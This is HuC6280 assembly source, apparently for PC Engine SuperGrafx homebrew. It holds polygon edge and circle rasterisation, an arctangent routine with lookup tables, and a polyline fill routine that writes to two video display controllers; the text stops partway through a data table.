calcEdge:
;calculation edge Y
sec
lda <edgeY1
sbc <edgeY0
beq .edgeJump6
sta <edgeSlopeY
jcs .edgeJump7
eor #$FF
inc a
sta <edgeSlopeY
;edgeY0 > edgeY1 exchange X0<->X1 Y0<->Y1
lda <edgeX0
ldx <edgeX1
sta <edgeX1
stx <edgeX0
lda <edgeY0
ldx <edgeY1
sta <edgeY1
stx <edgeY0
jmp .edgeJump7
.edgeJump6:
;edgeY0 = edgeY1
ldy <edgeX0
ldx <edgeY0
setEdgeBufferm
ldy <edgeX1
setEdgeBufferm
rts
.edgeJump7:
;calculation edge X
sec
lda <edgeX1
sbc <edgeX0
beq .edgeJump1
sta <edgeSlopeX
stz <edgeSigneX
bcs .edgeJump3
eor #$FF
inc a
sta <edgeSlopeX
mov <edgeSigneX, #$FF
bra .edgeJump3
.edgeJump1:
;edgeX0 = edgeX1
ldy <edgeX0
ldx <edgeY0
.edgeLoop0:
setEdgeBufferm
cpx <edgeY1
beq .edgeJump9
inx
bra .edgeLoop0
.edgeJump9:
rts
.edgeJump3:
;edgeSlope compare
lda <edgeSlopeY
cmp <edgeSlopeX
jcs .edgeJump4
;edgeSlopeX > edgeSlopeY
;edgeSlope initialize
lda <edgeSlopeX
eor #$FF
inc a
;check edgeSigneX
bbs7 <edgeSigneX, .edgeJump10
;edgeSigneX plus
ldy <edgeX0
ldx <edgeY0
.edgeXLoop0:
pha
setEdgeBufferm
pla
.edgeXLoop1:
cpy <edgeX1
beq .edgeXLoop3
iny
adc <edgeSlopeY
bcc .edgeXLoop1
sbc <edgeSlopeX
inx
bra .edgeXLoop0
.edgeXLoop3:
rts
;edgeSigneX minus
.edgeJump10:
ldy <edgeX1
ldx <edgeY1
.edgeXLoop4:
pha
setEdgeBufferm
pla
.edgeXLoop5:
cpy <edgeX0
beq .edgeXLoop7
iny
adc <edgeSlopeY
bcc .edgeXLoop5
sbc <edgeSlopeX
dex
bra .edgeXLoop4
.edgeXLoop7:
rts
.edgeJump4:
;edgeSlopeY >= edgeSlopeX
;edgeSlope initialize
lda <edgeSlopeY
eor #$FF
inc a
ldy <edgeX0
ldx <edgeY0
;check edgeSigneX
bbs7 <edgeSigneX, .edgeYLoop4
;edgeSigneX plus
.edgeYLoop0:
pha
setEdgeBufferm
pla
.edgeYLoop1:
cpx <edgeY1
beq .edgeYLoop3
inx
adc <edgeSlopeX
bcc .edgeYLoop0
sbc <edgeSlopeY
iny
bra .edgeYLoop0
.edgeYLoop3:
rts
;edgeSigneX minus
.edgeYLoop4:
pha
setEdgeBufferm
pla
.edgeYLoop5:
cpx <edgeY1
beq .edgeYLoop7
inx
adc <edgeSlopeX
bcc .edgeYLoop4
sbc <edgeSlopeY
dey
bra .edgeYLoop4
.edgeYLoop7:
rts
;----------------------------
calcEdge0:
;calculation edge Y
sec
lda <edgeY1
sbc <edgeY0
beq .edgeJump6
sta <edgeSlopeY
jcs .edgeJump7
eor #$FF
inc a
sta <edgeSlopeY
;edgeY0 > edgeY1 exchange X0<->X1 Y0<->Y1
lda <edgeX0
ldx <edgeX1
sta <edgeX1
stx <edgeX0
lda <edgeY0
ldx <edgeY1
sta <edgeY1
stx <edgeY0
jmp .edgeJump7
.edgeJump6:
;edgeY0 = edgeY1
ldy <edgeX0
ldx <edgeY0
setEdgeBuffer0m
ldy <edgeX1
setEdgeBufferm
rts
.edgeJump7:
;calculation edge X
sec
lda <edgeX1
sbc <edgeX0
beq .edgeJump1
sta <edgeSlopeX
stz <edgeSigneX
bcs .edgeJump3
eor #$FF
inc a
sta <edgeSlopeX
mov <edgeSigneX, #$FF
bra .edgeJump3
.edgeJump1:
;edgeX0 = edgeX1
ldy <edgeX0
ldx <edgeY0
.edgeLoop0:
setEdgeBuffer0m
cpx <edgeY1
beq .edgeJump9
inx
bra .edgeLoop0
.edgeJump9:
rts
.edgeJump3:
;edgeSlope compare
lda <edgeSlopeY
cmp <edgeSlopeX
jcs .edgeJump4
;edgeSlopeX > edgeSlopeY
;edgeSlope initialize
lda <edgeSlopeX
eor #$FF
inc a
;check edgeSigneX
bbs7 <edgeSigneX, .edgeJump10
;edgeSigneX plus
ldy <edgeX0
ldx <edgeY0
.edgeXLoop0:
pha
setEdgeBuffer0m
pla
.edgeXLoop1:
cpy <edgeX1
beq .edgeXLoop3
iny
adc <edgeSlopeY
bcc .edgeXLoop1
sbc <edgeSlopeX
inx
bra .edgeXLoop0
.edgeXLoop3:
rts
;edgeSigneX minus
.edgeJump10:
ldy <edgeX1
ldx <edgeY1
.edgeXLoop4:
pha
setEdgeBuffer0m
pla
.edgeXLoop5:
cpy <edgeX0
beq .edgeXLoop7
iny
adc <edgeSlopeY
bcc .edgeXLoop5
sbc <edgeSlopeX
dex
bra .edgeXLoop4
.edgeXLoop7:
rts
.edgeJump4:
;edgeSlopeY >= edgeSlopeX
;edgeSlope initialize
lda <edgeSlopeY
eor #$FF
inc a
ldy <edgeX0
ldx <edgeY0
;check edgeSigneX
bbs7 <edgeSigneX, .edgeYLoop4
;edgeSigneX plus
.edgeYLoop0:
pha
setEdgeBuffer0m
pla
.edgeYLoop1:
cpx <edgeY1
beq .edgeYLoop3
inx
adc <edgeSlopeX
bcc .edgeYLoop0
sbc <edgeSlopeY
iny
bra .edgeYLoop0
.edgeYLoop3:
rts
;edgeSigneX minus
.edgeYLoop4:
pha
setEdgeBuffer0m
pla
.edgeYLoop5:
cpx <edgeY1
beq .edgeYLoop7
inx
adc <edgeSlopeX
bcc .edgeYLoop4
sbc <edgeSlopeY
dey
bra .edgeYLoop4
.edgeYLoop7:
rts
;----------------------------
calcCircle:
;
;top < 192
sec
lda <circleCenterY
sbc <circleRadius
sta <circleYTop
lda <circleCenterY+1
sbc <circleRadius+1
bmi .jp11
beq .jp10
jmp .jpEnd
.jp10:
lda <circleYTop
cmp #192
jcc .jp11
jmp .jpEnd
.jp11:
;bottom >= 0
clc
lda <circleCenterY
adc <circleRadius
lda <circleCenterY+1
adc <circleRadius+1
bpl .jp12
jmp .jpEnd
.jp12:
;left < 256
sec
lda <circleCenterX
sbc <circleRadius
lda <circleCenterX+1
sbc <circleRadius+1
bmi .jp13
beq .jp13
jmp .jpEnd
.jp13:
;right >= 0
clc
lda <circleCenterX
adc <circleRadius
lda <circleCenterX+1
adc <circleRadius+1
bpl .jp14
jmp .jpEnd
.jp14:
mov <minEdgeY, #$FF
subw <circleD, #1, <circleRadius
movw <circleDH, #3
movw <circleDD, <circleRadius
asl <circleDD
rol <circleDD+1
sec
lda #5
sbc <circleDD
sta <circleDD
lda #0
sbc <circleDD+1
sta <circleDD+1
movw <circleX, <circleRadius
stzw <circleY
.loop0:
sec
lda <circleY
sbc <circleX
sta <circleTmp
lda <circleY+1
sbc <circleX+1
bmi .jp00
ora <circleTmp
beq .jp00
jmp .jpEnd
.jp00:
bbr7 <circleD+1, .jp01
clc
lda <circleD
adc <circleDH
sta <circleD
lda <circleD+1
adc <circleDH+1
sta <circleD+1
clc
lda <circleDH
adc #2
sta <circleDH
lda <circleDH+1
adc #0
sta <circleDH+1
clc
lda <circleDD
adc #2
sta <circleDD
lda <circleDD+1
adc #0
sta <circleDD+1
bra .jp02
.jp01:
clc
lda <circleD
adc <circleDD
sta <circleD
lda <circleD+1
adc <circleDD+1
sta <circleD+1
clc
lda <circleDH
adc #2
sta <circleDH
lda <circleDH+1
adc #0
sta <circleDH+1
clc
lda <circleDD
adc #4
sta <circleDD
lda <circleDD+1
adc #0
sta <circleDD+1
sec
lda <circleX
sbc #1
sta <circleX
lda <circleX+1
sbc #0
sta <circleX+1
.jp02:
;----------------
clc
lda <circleCenterX
adc <circleX
sta <circleXRight
lda <circleCenterX+1
adc <circleX+1
sta <circleXRight+1
sec
lda <circleCenterX
sbc <circleX
sta <circleXLeft
lda <circleCenterX+1
sbc <circleX+1
sta <circleXLeft+1
clc
lda <circleCenterY
adc <circleY
sta <circleYWork
lda <circleCenterY+1
adc <circleY+1
sta <circleYWork+1
jsr setCircleEdge
;----------------
sec
lda <circleCenterY
sbc <circleY
sta <circleYWork
lda <circleCenterY+1
sbc <circleY+1
sta <circleYWork+1
jsr setCircleEdge
;----------------
clc
lda <circleCenterX
adc <circleY
sta <circleXRight
lda <circleCenterX+1
adc <circleY+1
sta <circleXRight+1
sec
lda <circleCenterX
sbc <circleY
sta <circleXLeft
lda <circleCenterX+1
sbc <circleY+1
sta <circleXLeft+1
clc
lda <circleCenterY
adc <circleX
sta <circleYWork
lda <circleCenterY+1
adc <circleX+1
sta <circleYWork+1
jsr setCircleEdge
;----------------
sec
lda <circleCenterY
sbc <circleX
sta <circleYWork
lda <circleCenterY+1
sbc <circleX+1
sta <circleYWork+1
jsr setCircleEdge
clc
lda <circleY
adc #1
sta <circleY
lda <circleY+1
adc #0
sta <circleY+1
jmp .loop0
.jpEnd:
rts
;----------------------------
setCircleEdge:
;
lda <circleYWork+1
bne .endSet
ldy <circleYWork
cpy #192
bcs .endSet
lda <circleXLeft+1
beq .jp00
bpl .endSet
stz <circleXLeft
.jp00:
lda <circleXRight+1
bmi .endSet
beq .jp01
mov <circleXRight, #$FF
.jp01:
cpy <minEdgeY
jcs .jp02
sty <minEdgeY
.jp02:
lda #2
sta edgeCount, y
lda <circleXLeft
sta edgeLeft, y
lda <circleXRight
sta edgeRight, y
.endSet:
rts
;----------------------------
initCalcEdge:
;initialize calculation edge
lda #$FF
sta edgeCount
tii edgeCount, edgeCount+1, 192
rts
;----------------------------
setBAT:
;set BAT
mov VDC1_0, #$00
movw VDC1_2, #$0000
mov VDC1_0, #$02
mov VDC2_0, #$00
movw VDC2_2, #$0000
mov VDC2_0, #$02
movw <setBatWork, #$0400
.clearbatloop0:
movw VDC1_2, <setBatWork
movw VDC2_2, <setBatWork
addw <setBatWork, #$0002
cmpw2 <setBatWork, #$0800
bcc .clearbatloop0
movw <setBatWork, #$0401
.clearbatloop1:
movw VDC1_2, <setBatWork
movw VDC2_2, <setBatWork
addw <setBatWork, #$0002
cmpw2 <setBatWork, #$0801
bcc .clearbatloop1
rts
;----------------------------
atan:
;mul16a = x(-32768_32767), mul16b = y(-32768_32767)
;A(0_255) = atan(y/x)
phx
lda <mul16b+1
pha
bpl .atanJump0
sec
lda <mul16b
eor #$FF
adc #0
sta <mul16b
lda <mul16b+1
eor #$FF
adc #0
sta <mul16b+1
.atanJump0:
lda <mul16a+1
pha
bpl .atanJump1
sec
lda <mul16a
eor #$FF
adc #0
sta <mul16a
lda <mul16a+1
eor #$FF
adc #0
sta <mul16a+1
.atanJump1:
jsr _atan
plx
bpl .atanJump2
eor #$FF
inc a
eor #$80
.atanJump2:
plx
bpl .atanJump3
eor #$FF
inc a
.atanJump3:
plx
rts
;----------------------------
_atan:
;mul16a = x(0_65535), mul16b = y(0_65535)
;A(0_63) = atan(y/x)
phx
lda <mul16a
ora <mul16a+1
beq .atanJump0
stz <mul16c
lda <mul16b
sta <mul16c+1
lda <mul16b+1
sta <mul16d
stz <mul16d+1
asl <mul16c+1
rol <mul16d
rol <mul16d+1
sec
lda <mul16d
sbc <mul16a
lda <mul16d+1
sbc <mul16a+1
bcs .atanJump0
jsr udiv32
clx
.atanLoop:
sec
lda atanDataLow, x
sbc <div16a
lda atanDataHigh, x
sbc <div16a+1
bcs .atanJump1
inx
cpx #64
bne .atanLoop
.atanJump1:
txa
bra .atanEnd
.atanJump0:
lda #64
.atanEnd:
plx
rts
;////////////////////////////
.bank 2
.org $C000
;----------------------------
putPolyLine:
;put poly line
ldy <minEdgeY
bra .loopStart
;loop
.loop0:
cli
iny
.loopStart: lda edgeCount, y
bpl .putPolyProc
rts
.putPolyProc:
;disable interrupt
sei
;set poly color
tya
and #$01
ora <polyLineColorNo
tax
lda polyLineColorData0, x
sta <polyLineColorDataWork0
lda polyLineColorData1, x
sta <polyLineColorDataWork1
lda polyLineColorData2, x
sta <polyLineColorDataWork2
lda polyLineColorData3, x
sta <polyLineColorDataWork3
bbr5 <polyLineColorNo, .colorEnd
ora <polyLineColorDataWork0
ora <polyLineColorDataWork1
ora <polyLineColorDataWork2
beq .loop0
.colorEnd:
;calation vram address
;left
;left address
ldx edgeLeft,y
lda polyLineAddrConvYLow0, y
ora polyLineAddrConvXLow0, x
sta <polyLineLeftAddr
lda polyLineAddrConvYHigh0, y
ora polyLineAddrConvXHigh0, x
sta <polyLineLeftAddr+1
lda polyLineAddrConvX, x
sta <polyLineCount
lda polyLineLeftDatas, x
sta <polyLineLeftData
eor #$FF
sta <polyLineLeftMask
;right
ldx edgeRight,y
;calation counts
sec
lda polyLineAddrConvX, x
sbc <polyLineCount
;count 0
jeq .polyLineJump03
sta <polyLineCount
;right address
lda polyLineAddrConvYLow0, y
ora polyLineAddrConvXLow0, x
sta <polyLineRightAddr
lda polyLineAddrConvYHigh0, y
ora polyLineAddrConvXHigh0, x
sta <polyLineRightAddr+1
lda polyLineRightDatas, x
sta <polyLineRightData
eor #$FF
sta <polyLineRightMask
;put line
lda <selectVdc
cmp #VDC2
jeq .vdc2Jp
;VDC1
.vdc1Jp:
stz VPC_6 ;select VDC#1
;center jump index
lda <polyLineCount
asl a
tax
phy
;VDC1 left 0 1
lda <polyLineLeftAddr
ldy <polyLineLeftAddr+1
st0 #$00
sta VDC1_2
sty VDC1_3
st0 #$01
sta VDC1_2
sty VDC1_3
st0 #$02
lda VDC1_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC1_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork0
and <polyLineLeftData
ora <polyLineDataLow
sta VDC1_2
lda <polyLineColorDataWork1
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC1_3
;VDC1 center 0 1
lda <polyLineColorDataWork0
ldy <polyLineColorDataWork1
jmp [.centerVDC1_01Addr, x]
.centerVDC1_01:
putPolyLineV1lm
;VDC1 right 0 1
lda <polyLineRightAddr
ldy <polyLineRightAddr+1
st0 #$00
sta VDC1_2
sty VDC1_3
st0 #$01
sta VDC1_2
sty VDC1_3
st0 #$02
lda VDC1_2
and <polyLineRightMask
sta <polyLineDataLow
lda VDC1_3
and <polyLineRightMask
sta <polyLineDataHigh
lda <polyLineColorDataWork0
and <polyLineRightData
ora <polyLineDataLow
sta VDC1_2
lda <polyLineColorDataWork1
and <polyLineRightData
ora <polyLineDataHigh
sta VDC1_3
;VDC1 left 2 3
lda <polyLineLeftAddr
ora #$08
ldy <polyLineLeftAddr+1
st0 #$00
sta VDC1_2
sty VDC1_3
st0 #$01
sta VDC1_2
sty VDC1_3
st0 #$02
lda VDC1_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC1_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork2
and <polyLineLeftData
ora <polyLineDataLow
sta VDC1_2
lda <polyLineColorDataWork3
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC1_3
;VDC1 center 2 3
lda <polyLineColorDataWork2
ldy <polyLineColorDataWork3
jmp [.centerVDC1_02Addr, x]
.centerVDC1_02:
putPolyLineV1lm
;VDC1 right 2 3
lda <polyLineRightAddr
ora #$08
ldy <polyLineRightAddr+1
st0 #$00
sta VDC1_2
sty VDC1_3
st0 #$01
sta VDC1_2
sty VDC1_3
st0 #$02
lda VDC1_2
and <polyLineRightMask
sta <polyLineDataLow
lda VDC1_3
and <polyLineRightMask
sta <polyLineDataHigh
lda <polyLineColorDataWork2
and <polyLineRightData
ora <polyLineDataLow
sta VDC1_2
lda <polyLineColorDataWork3
and <polyLineRightData
ora <polyLineDataHigh
sta VDC1_3
ply
;loop jump
jmp .loop0
;VDC2
.vdc2Jp:
lda #$01
sta VPC_6 ;select VDC#2
lda <polyLineCount
asl a
tax
phy
;VDC2 left 0 1
lda <polyLineLeftAddr
ldy <polyLineLeftAddr+1
st0 #$00
sta VDC2_2
sty VDC2_3
st0 #$01
sta VDC2_2
sty VDC2_3
st0 #$02
lda VDC2_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC2_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork0
and <polyLineLeftData
ora <polyLineDataLow
sta VDC2_2
lda <polyLineColorDataWork1
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC2_3
;VDC2 center 0 1
lda <polyLineColorDataWork0
ldy <polyLineColorDataWork1
jmp [.centerVDC2_01Addr, x]
.centerVDC2_01:
putPolyLineV2lm
;VDC2 right 0 1
lda <polyLineRightAddr
ldy <polyLineRightAddr+1
st0 #$00
sta VDC2_2
sty VDC2_3
st0 #$01
sta VDC2_2
sty VDC2_3
st0 #$02
lda VDC2_2
and <polyLineRightMask
sta <polyLineDataLow
lda VDC2_3
and <polyLineRightMask
sta <polyLineDataHigh
lda <polyLineColorDataWork0
and <polyLineRightData
ora <polyLineDataLow
sta VDC2_2
lda <polyLineColorDataWork1
and <polyLineRightData
ora <polyLineDataHigh
sta VDC2_3
;VDC2 left 2 3
lda <polyLineLeftAddr
ora #$08
ldy <polyLineLeftAddr+1
st0 #$00
sta VDC2_2
sty VDC2_3
st0 #$01
sta VDC2_2
sty VDC2_3
st0 #$02
lda VDC2_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC2_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork2
and <polyLineLeftData
ora <polyLineDataLow
sta VDC2_2
lda <polyLineColorDataWork3
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC2_3
;VDC2 center 2 3
lda <polyLineColorDataWork2
ldy <polyLineColorDataWork3
jmp [.centerVDC2_02Addr, x]
.centerVDC2_02:
putPolyLineV2lm
;VDC2 right 2 3
lda <polyLineRightAddr
ora #$08
ldy <polyLineRightAddr+1
st0 #$00
sta VDC2_2
sty VDC2_3
st0 #$01
sta VDC2_2
sty VDC2_3
st0 #$02
lda VDC2_2
and <polyLineRightMask
sta <polyLineDataLow
lda VDC2_3
and <polyLineRightMask
sta <polyLineDataHigh
lda <polyLineColorDataWork2
and <polyLineRightData
ora <polyLineDataLow
sta VDC2_2
lda <polyLineColorDataWork3
and <polyLineRightData
ora <polyLineDataHigh
sta VDC2_3
ply
;loop jump
jmp .loop0
;put line same address
.polyLineJump03:
lda <polyLineLeftData
and polyLineRightDatas,x
sta <polyLineLeftData
eor #$FF
sta <polyLineLeftMask
lda <selectVdc
cmp #VDC2
beq .vdc2Jp2
;VDC1
.vdc1Jp2:
stz VPC_6 ;select VDC#1
;VDC1 left 0 1
lda <polyLineLeftAddr
ldx <polyLineLeftAddr+1
st0 #$00
sta VDC1_2
stx VDC1_3
st0 #$01
sta VDC1_2
stx VDC1_3
st0 #$02
lda VDC1_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC1_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork0
and <polyLineLeftData
ora <polyLineDataLow
sta VDC1_2
lda <polyLineColorDataWork1
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC1_3
;VDC1 left 2 3
lda <polyLineLeftAddr
ora #$08
ldx <polyLineLeftAddr+1
st0 #$00
sta VDC1_2
stx VDC1_3
st0 #$01
sta VDC1_2
stx VDC1_3
st0 #$02
lda VDC1_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC1_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork2
and <polyLineLeftData
ora <polyLineDataLow
sta VDC1_2
lda <polyLineColorDataWork3
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC1_3
;loop jump
jmp .loop0
;VDC2
.vdc2Jp2:
lda #$01
sta VPC_6 ;select VDC#2
;VDC2 left 0 1
lda <polyLineLeftAddr
ldx <polyLineLeftAddr+1
st0 #$00
sta VDC2_2
stx VDC2_3
st0 #$01
sta VDC2_2
stx VDC2_3
st0 #$02
lda VDC2_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC2_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork0
and <polyLineLeftData
ora <polyLineDataLow
sta VDC2_2
lda <polyLineColorDataWork1
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC2_3
;VDC2 left 2 3
lda <polyLineLeftAddr
ora #$08
ldx <polyLineLeftAddr+1
st0 #$00
sta VDC2_2
stx VDC2_3
st0 #$01
sta VDC2_2
stx VDC2_3
st0 #$02
lda VDC2_2
and <polyLineLeftMask
sta <polyLineDataLow
lda VDC2_3
and <polyLineLeftMask
sta <polyLineDataHigh
lda <polyLineColorDataWork2
and <polyLineLeftData
ora <polyLineDataLow
sta VDC2_2
lda <polyLineColorDataWork3
and <polyLineLeftData
ora <polyLineDataHigh
sta VDC2_3
;loop jump
jmp .loop0
;--------
.centerVDC1_01Addr:
dw .centerVDC1_01 +6*30 ;-1
dw .centerVDC1_01 +6*30 ;0
dw .centerVDC1_01 +6*29 ;1
dw .centerVDC1_01 +6*28 ;2
dw .centerVDC1_01 +6*27 ;3
dw .centerVDC1_01 +6*26 ;4
dw .centerVDC1_01 +6*25 ;5
dw .centerVDC1_01 +6*24 ;6
dw .centerVDC1_01 +6*23 ;7
dw .centerVDC1_01 +6*22 ;8
dw .centerVDC1_01 +6*21 ;9
dw .centerVDC1_01 +6*20 ;10
dw .centerVDC1_01 +6*19 ;11
dw .centerVDC1_01 +6*18 ;12
dw .centerVDC1_01 +6*17 ;13
dw .centerVDC1_01 +6*16 ;14
dw .centerVDC1_01 +6*15 ;15
dw .centerVDC1_01 +6*14 ;16
dw .centerVDC1_01 +6*13 ;17
dw .centerVDC1_01 +6*12 ;18
dw .centerVDC1_01 +6*11 ;19
dw .centerVDC1_01 +6*10 ;20
dw .centerVDC1_01 +6*9 ;21
dw .centerVDC1_01 +6*8 ;22
dw .centerVDC1_01 +6*7 ;23
dw .centerVDC1_01 +6*6 ;24
dw .centerVDC1_01 +6*5 ;25
dw .centerVDC1_01 +6*4 ;26
dw .centerVDC1_01 +6*3 ;27
dw .centerVDC1_01 +6*2 ;28
dw .centerVDC1_01 +6*1 ;29
dw .centerVDC1_01 +6*0 ;30
;--------
.centerVDC1_02Addr:
dw .centerVDC1_02 +6*30 ;-1
dw .centerVDC1_02 +6*30 ;0
dw .centerVDC1_02 +6*29 ;1
dw .centerVDC1_02 +6*28 ;2
dw .centerVDC1_02 +6*27 ;3
dw .centerVDC1_02 +6*26 ;4
dw .centerVDC1_02 +6*25 ;5
dw .centerVDC1_02 +6*24 ;6
dw .centerVDC1_02 +6*23 ;7
dw .centerVDC1_02 +6*22 ;8
dw .centerVDC1_02 +6*21 ;9
dw .centerVDC1_02 +6*20 ;10
dw .centerVDC1_02 +6*19 ;11
dw .centerVDC1_02 +6*18 ;12
dw .centerVDC1_02 +6*17 ;13
dw .centerVDC1_02 +6*16 ;14
dw .centerVDC1_02 +6*15 ;15
dw .centerVDC1_02 +6*14 ;16
dw .centerVDC1_02 +6*13 ;17
dw .centerVDC1_02 +6*12 ;18
dw .centerVDC1_02 +6*11 ;19
dw .centerVDC1_02 +6*10 ;20
dw .centerVDC1_02 +6*9 ;21
dw .centerVDC1_02 +6*8 ;22
dw .centerVDC1_02 +6*7 ;23
dw .centerVDC1_02 +6*6 ;24
dw .centerVDC1_02 +6*5 ;25
dw .centerVDC1_02 +6*4 ;26
dw .centerVDC1_02 +6*3 ;27
dw .centerVDC1_02 +6*2 ;28
dw .centerVDC1_02 +6*1 ;29
dw .centerVDC1_02 +6*0 ;30
;--------
.centerVDC2_01Addr:
dw .centerVDC2_01 +6*30 ;-1
dw .centerVDC2_01 +6*30 ;0
dw .centerVDC2_01 +6*29 ;1
dw .centerVDC2_01 +6*28 ;2
dw .centerVDC2_01 +6*27 ;3
dw .centerVDC2_01 +6*26 ;4
dw .centerVDC2_01 +6*25 ;5
dw .centerVDC2_01 +6*24 ;6
dw .centerVDC2_01 +6*23 ;7
dw .centerVDC2_01 +6*22 ;8
dw .centerVDC2_01 +6*21 ;9
dw .centerVDC2_01 +6*20 ;10
dw .centerVDC2_01 +6*19 ;11
dw .centerVDC2_01 +6*18 ;12
dw .centerVDC2_01 +6*17 ;13
dw .centerVDC2_01 +6*16 ;14
dw .centerVDC2_01 +6*15 ;15
dw .centerVDC2_01 +6*14 ;16
dw .centerVDC2_01 +6*13 ;17
dw .centerVDC2_01 +6*12 ;18
dw .centerVDC2_01 +6*11 ;19
dw .centerVDC2_01 +6*10 ;20
dw .centerVDC2_01 +6*9 ;21
dw .centerVDC2_01 +6*8 ;22
dw .centerVDC2_01 +6*7 ;23
dw .centerVDC2_01 +6*6 ;24
dw .centerVDC2_01 +6*5 ;25
dw .centerVDC2_01 +6*4 ;26
dw .centerVDC2_01 +6*3 ;27
dw .centerVDC2_01 +6*2 ;28
dw .centerVDC2_01 +6*1 ;29
dw .centerVDC2_01 +6*0 ;30
;--------
.centerVDC2_02Addr:
dw .centerVDC2_02 +6*30 ;-1
dw .centerVDC2_02 +6*30 ;0
dw .centerVDC2_02 +6*29 ;1
dw .centerVDC2_02 +6*28 ;2
dw .centerVDC2_02 +6*27 ;3
dw .centerVDC2_02 +6*26 ;4
dw .centerVDC2_02 +6*25 ;5
dw .centerVDC2_02 +6*24 ;6
dw .centerVDC2_02 +6*23 ;7
dw .centerVDC2_02 +6*22 ;8
dw .centerVDC2_02 +6*21 ;9
dw .centerVDC2_02 +6*20 ;10
dw .centerVDC2_02 +6*19 ;11
dw .centerVDC2_02 +6*18 ;12
dw .centerVDC2_02 +6*17 ;13
dw .centerVDC2_02 +6*16 ;14
dw .centerVDC2_02 +6*15 ;15
dw .centerVDC2_02 +6*14 ;16
dw .centerVDC2_02 +6*13 ;17
dw .centerVDC2_02 +6*12 ;18
dw .centerVDC2_02 +6*11 ;19
dw .centerVDC2_02 +6*10 ;20
dw .centerVDC2_02 +6*9 ;21
dw .centerVDC2_02 +6*8 ;22
dw .centerVDC2_02 +6*7 ;23
dw .centerVDC2_02 +6*6 ;24
dw .centerVDC2_02 +6*5 ;25
dw .centerVDC2_02 +6*4 ;26
dw .centerVDC2_02 +6*3 ;27
dw .centerVDC2_02 +6*2 ;28
dw .centerVDC2_02 +6*1 ;29
dw .centerVDC2_02 +6*0 ;30
.org $D380
;----------------------------
atanDataHigh:
;tan(a + 0.5) * 512
.db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\
$00, $00, $00, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\
$02, $02, $02, $02, $02, $02, $02, $02, $03, $03, $03, $03, $03, $04, $04, $04,\
$05, $05, $05, $06, $06, $07, $08, $09, $0A, $0C, $0E, $12, $17, $20, $36, $A2
;----------------------------
atanDataLow:
;tan(a + 0.5) * 512
.db $06, $13, $1F, $2C, $39, $46, $52, $5F, $6C, $7A, $87, $94, $A2, $B0, $BE, $CD,\
$DB, $EB, $FA, $0A, $1A, $2A, $3B, $4D, $5F, $72, $86, $9A, $AF, $C5, $DC, $F4,\
$0D, $27, $43, $60, $80, $A1, $C4, $EA, $13, $3F, $6E, $A2, $DB, $19, $5E, $AA,\
$00, $61, $D0, $50, $E6, $97, $6C, $72, $BE, $6E, $BA, $09, $3A, $8E, $4D, $F7
;----------------------------
intTable:
.db $00, $01, $02, $03, $04, $05, $06, $07, $08, $09, $0A, $0B, $0C, $0D, $0E, $0F,\
$10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $1A, $1B, $1C, $1D, $1E, $1F,\
$20, $21, $22, $23, $24, $25, $26, $27, $28, $29, $2A, $2B, $2C, $2D, $2E, $2F,\
$30, $31, $32, $33, $34, $35, $36, $37, $38, $39, $3A, $3B, $3C, $3D, $3E, $3F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$60, $61, $62, $63, $64, $65, $66, $67, $68, $69, $6A, $6B, $6C, $6D, $6E, $6F,\
$70, $71, $72, $73, $74, $75, $76, $77, $78, $79, $7A, $7B, $7C, $7D, $7E, $7F,\
$80, $81, $82, $83, $84, $85, $86, $87, $88, $89, $8A, $8B, $8C, $8D, $8E, $8F,\
$90, $91, $92, $93, $94, $95, $96, $97, $98, $99, $9A, $9B, $9C, $9D, $9E, $9F,\
$A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $AB, $AC, $AD, $AE, $AF,\
$B0, $B1, $B2, $B3, $B4, $B5, $B6, $B7, $B8, $B9, $BA, $BB, $BC, $BD, $BE, $BF,\
$C0, $C1, $C2, $C3, $C4, $C5, $C6, $C7, $C8, $C9, $CA, $CB, $CC, $CD, $CE, $CF,\
$D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7, $D8, $D9, $DA, $DB, $DC, $DD, $DE, $DF,\
$E0, $E1, $E2, $E3, $E4, $E5, $E6, $E7, $E8, $E9, $EA, $EB, $EC, $ED, $EE, $EF,\
$F0, $F1, $F2, $F3, $F4, $F5, $F6, $F7, $F8, $F9, $FA, $FB, $FC, $FD, $FE, $FF
;----------------------------
polyLineAddrConvYHigh0:
.db $40, $40, $40, $40, $40, $40, $40, $40, $44, $44, $44, $44, $44, $44, $44, $44,\
$48, $48, $48, $48, $48, $48, $48, $48, $4C, $4C, $4C, $4C, $4C, $4C, $4C, $4C,\
$50, $50, $50, $50, $50, $50, $50, $50, $54, $54, $54, $54, $54, $54, $54, $54,\
$58, $58, $58, $58, $58, $58, $58, $58, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C,\
$60, $60, $60, $60, $60, $60, $60, $60, $64, $64, $64, $64, $64, $64, $64, $64,\
